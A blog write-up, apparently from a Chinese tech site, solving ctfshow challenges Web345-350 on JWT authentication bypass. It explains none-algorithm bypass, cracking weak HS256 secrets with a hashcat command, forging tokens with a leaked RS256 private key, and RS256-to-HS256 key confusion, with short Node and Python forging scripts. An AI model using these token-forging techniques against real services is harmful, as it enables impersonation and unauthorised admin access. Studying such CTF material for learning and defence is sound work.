ctfshow JWT (Web345-350)

目录

传统token与JWT方式的区别:

<1> web345(None 无签名认证)

<2> web346(None算法绕过签名)

<3> web347(弱口令密钥)

<4> web348(爆破)

<5> web349(公钥私钥泄露)

<6> web350(密钥混淆攻击 RS256=>HS256)


传统token与JWT方式的区别:

传统token方式:

用户登录成功后,服务端生成一个随机token给用户,并且在服务端(数据库或缓存)中保存一份token,以后用户再来访问时需携带token,服务端接收到token之后,去数据库或缓存中进行校验token的是否超时、是否合法。

jwt方式:

用户登录成功后,服务端通过jwt生成一个随机token给用户(服务端无需保留token),以后用户再来访问时需携带token,服务端接收到token之后,通过jwt对token进行校验是否超时、是否合法

<1> web345(None 无签名认证)

进入题目:where is flag? 

查看源码: 得到:<!-- /admin -->

        抓个包看Cookie jwt decode之后得知 alg为None算法,无签名认证,我们放到JWT.io里构造JWT

         因为这里没用None算法签名,因此我们先改成HS256 更改sub为admin之后取签名 . 及之前部分,放到cookie中发包 请求/admin/

<2> web346(None算法绕过签名)

和上一道题一样,需要admin身份访问/admin/

不同于上一题,"alg":"HS256" 表示这道题为:HS256加密作签名的JWT

不过,JWT 支持将算法设定为 “None”。如果“alg” 字段设为“ None”,那么签名会被置空,这样任何 token 都是有效的

 我们修改alg为:"None", none也可以 然后修改sub为 admin 去掉后边签名部分(保留最后的 .)

<3> web347(弱口令密钥)

这一关是 HS256加密签名,无法None算法绕过,但是密钥是弱口令

这里我们可以 c-jwt-cracker来爆破一下  hashcat也可以 其中一个爆不出来的时候就可以用另一个

hashcat -a 0 -m 16500 eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJhZG1pbiIsImlhdCI6MTY2NzY1Njk0MiwiZXhwIjoxNjY3NjY0MTQyLCJuYmYiOjE2Njc2NTY5NDIsInN1YiI6InVzZXIiLCJqdGkiOiJkODMwMGU0MWJkZWI5Y2M1MjIzNzgxMDdkMDE2MzlhOCJ9.lYnVCfleYbtGCZMTtBlRHPn2b9AKLLa2qSe7ksQb53o jwt.secrets.list

密钥为 123456

到JWT.io 网站上填上密钥123456  修改sub为admin

 拿构造好的JWT 放入cookie中,发包请求/admin/ 得到flag

<4> web348(爆破)

同web347 爆破密钥 hashcat最终爆出来 aaab

 去 JWT.io 利用密钥 更改sub为admin之后再次Sign 放到cookie中 发包访问/admin/ 得到flag

<5> web349(公钥私钥泄露)

 APP.js中得到一段js代码

/* GET home page. */
router.get('/', function(req, res, next) {
  res.type('html');
  var privateKey = fs.readFileSync(process.cwd()+'//public//private.key');
  var token = jwt.sign({ user: 'user' }, privateKey, { algorithm: 'RS256' });
  res.cookie('auth',token);
  res.end('where is flag?');
  
});

router.post('/',function(req,res,next){
	var flag="flag_here";
	res.type('html');
	var auth = req.cookies.auth;
	var cert = fs.readFileSync(process.cwd()+'//public/public.key');  // get public key
	jwt.verify(auth, cert, function(err, decoded) {
	  if(decoded.user==='admin'){
	  	res.end(flag);
	  }else{
	  	res.end('you are not admin');
	  }
	});
});

公钥私钥泄露,访问/private.key /public.key 得到公钥密钥

服务器利用私钥生成jwt,利用公钥解密jwt,所以我们只要有私钥然后自己重新生成就可以

运行下面的js代码生成jwt (需要安装jsonwebtoken库 npm install jsonwebtoken --save)

const jwt = require('jsonwebtoken');
var fs = require('fs');
var privateKey = fs.readFileSync('private.key');
var token = jwt.sign({ user: 'admin' }, privateKey, { algorithm: 'RS256' });
console.log(token)

修改jwt后post方式访问 就可以得到flag
或者python代码

import jwt
public = open('private.key', 'r').read()
payload={"user":"admin"}
print(jwt.encode(payload, key=public, algorithm='RS256'))

<6> web350(密钥混淆攻击 RS256=>HS256)

router.get('/', function(req, res, next) {
  res.type('html');
  var privateKey = fs.readFileSync(process.cwd()+'//routes/private.key');
  var token = jwt.sign({ user: 'user' }, privateKey, { algorithm: 'RS256' });

  res.cookie('auth',token);
  res.end('where is flag?');
  
});

router.post('/',function(req,res,next){
	var flag="flag_here";
	res.type('html');
	var auth = req.cookies.auth;
	var cert = fs.readFileSync(process.cwd()+'//routes/public.key');  // get public key
	jwt.verify(auth, cert,function(err, decoded) {
	  if(decoded.user==='admin'){
	  	res.end(flag);
	  }else{
	  	res.end('you are not admin'+err);
	  }
	});
});

下载下来题目源码,得到public.key

这里我们可以利用:将RS256算法改为HS256(非对称密码算法=>对称密码算法)

绕过服务端签名检测,从而构造JWT

解释:   

        HS256算法使用密钥为所有消息进行签名和验证。

        而RS256算法则使用私钥对消息进行签名使用公钥进行身份验证

如果将算法从RS256改为HS256,则后端代码将使用公钥作为密钥,然后使用HS256算法验证签名。

        由于攻击者有时可以获取公钥,因此,攻击者可以将头部中的算法修改为HS256,然后使用RSA公钥对数据进行签名。

        这样的话,后端代码使用RSA公钥+HS256算法进行签名验证

exp如下:

const jwt = require('jsonwebtoken');
var fs = require('fs');
var privateKey = fs.readFileSync('public.key');
var token = jwt.sign({ user: 'admin' }, privateKey, { algorithm: 'HS256' });
console.log(token)

执行得到 构造好的JWT,放入cookie中POST发包,得到flag

(不知道为什么vscode执行会报没有模块,cmd下执行却没什么事)

  • 1
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值